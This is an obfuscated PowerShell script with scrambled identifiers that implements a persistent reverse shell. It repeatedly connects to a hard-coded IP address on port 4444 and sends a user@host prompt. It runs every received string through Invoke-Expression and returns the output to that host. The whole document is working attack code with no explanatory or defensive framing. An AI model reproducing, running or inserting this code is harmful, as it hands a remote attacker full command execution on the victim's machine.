class ijrflIjNoIZDYIZ { [string]$bOsVNdOeK = "5.182.86.65" [int]$mxJpJnLluRgHox = 4444 $gvnSwV $LQcJsY $iFrRNashfPqQylJQWQ $cUKdFCIIBEVtrf $VTvzvfvzxZfZVhjzbUfca $XfyJIaYvaIoCEbObKcvAPuY [int]$YKNXrkPgYzTONQrJwLPLTu = 50*1024 EsYJZy() { $this.LQcJsY = $false while ($true) { try { $this.LQcJsY = New-Object Net.Sockets.TcpClient($this.bOsVNdOeK, $this.mxJpJnLluRgHox) break } catch [System.Net.Sockets.SocketException] { Start-Sleep -Seconds 5 } } $this.TEqaUGcscaXIxQOR() } TEqaUGcscaXIxQOR() { $this.gvnSwV = $this.LQcJsY.GetStream() $this.cUKdFCIIBEVtrf = New-Object Byte[] $this.YKNXrkPgYzTONQrJwLPLTu $this.XfyJIaYvaIoCEbObKcvAPuY = New-Object Text.UTF8Encoding $this.iFrRNashfPqQylJQWQ = New-Object IO.StreamWriter($this.gvnSwV, [Text.Encoding]::UTF8, $this.YKNXrkPgYzTONQrJwLPLTu) $this.VTvzvfvzxZfZVhjzbUfca = New-Object System.IO.StreamReader($this.gvnSwV) $this.iFrRNashfPqQylJQWQ.AutoFlush = $true } dpKAwZlvB() { $this.EsYJZy() $this.YtXJHDYsVSVorKhsA() } laMhgOESnTSpKoEkWNcZSuTA($EUxyUvKgYJfZA) { try { [byte[]]$zSFGvYQvVMsciWFYqTnjXzNa = [text.Encoding]::Ascii.GetBytes($EUxyUvKgYJfZA) $this.iFrRNashfPqQylJQWQ.Write($zSFGvYQvVMsciWFYqTnjXzNa, 0, $zSFGvYQvVMsciWFYqTnjXzNa.length) } catch [System.Management.Automation.MethodInvocationException] { $this.dpKAwZlvB() } } [string] xvelPEjv() { try { $HhFNmNHyhOlguJkBhdb = $this.gvnSwV.Read($this.cUKdFCIIBEVtrf, 0, $this.YKNXrkPgYzTONQrJwLPLTu) $oRIGpVDq = ($this.XfyJIaYvaIoCEbObKcvAPuY.GetString($this.cUKdFCIIBEVtrf, 0, $HhFNmNHyhOlguJkBhdb)) return $oRIGpVDq } catch [System.Management.Automation.MethodInvocationException] { $this.dpKAwZlvB() return "" } } [string] JGDooFYO($EaWbx) { Write-Host $EaWbx try { $XJTniCHDwKOCxcdo = Invoke-Expression $EaWbx | Out-String } catch { $AbVMVdaDKoNlahhQVGJUlbd = $_.Exception $suPRnfb = $_.Message $XJTniCHDwKOCxcdo = "`n$_`n" } return $XJTniCHDwKOCxcdo } [string] cQTXmIlBEiTjXZrcPAekyPGi() { $rbGgZBuaQxeRNUyeRJpJPG = [Environment]::UserName $SZwkZsXzH = [System.Net.Dns]::GetHostName() $cvCBnpV = Get-Location return "$rbGgZBuaQxeRNUyeRJpJPG@$SZwkZsXzH [$cvCBnpV]~$ " } YtXJHDYsVSVorKhsA() { while ($this.LQcJsY.Connected) { $this.laMhgOESnTSpKoEkWNcZSuTA($this.cQTXmIlBEiTjXZrcPAekyPGi()) $oRIGpVDq = $this.xvelPEjv() $XJTniCHDwKOCxcdo = "`n" if ([string]::IsNullOrEmpty($oRIGpVDq)) { continue } $XJTniCHDwKOCxcdo = $this.JGDooFYO($oRIGpVDq) $this.laMhgOESnTSpKoEkWNcZSuTA($XJTniCHDwKOCxcdo + "`n") $this.gvnSwV.Flush() } $this.LQcJsY.Close() $this.dpKAwZlvB() } } $NuEdkdRYowZXb = [ijrflIjNoIZDYIZ]::new() $NuEdkdRYowZXb.dpKAwZlvB()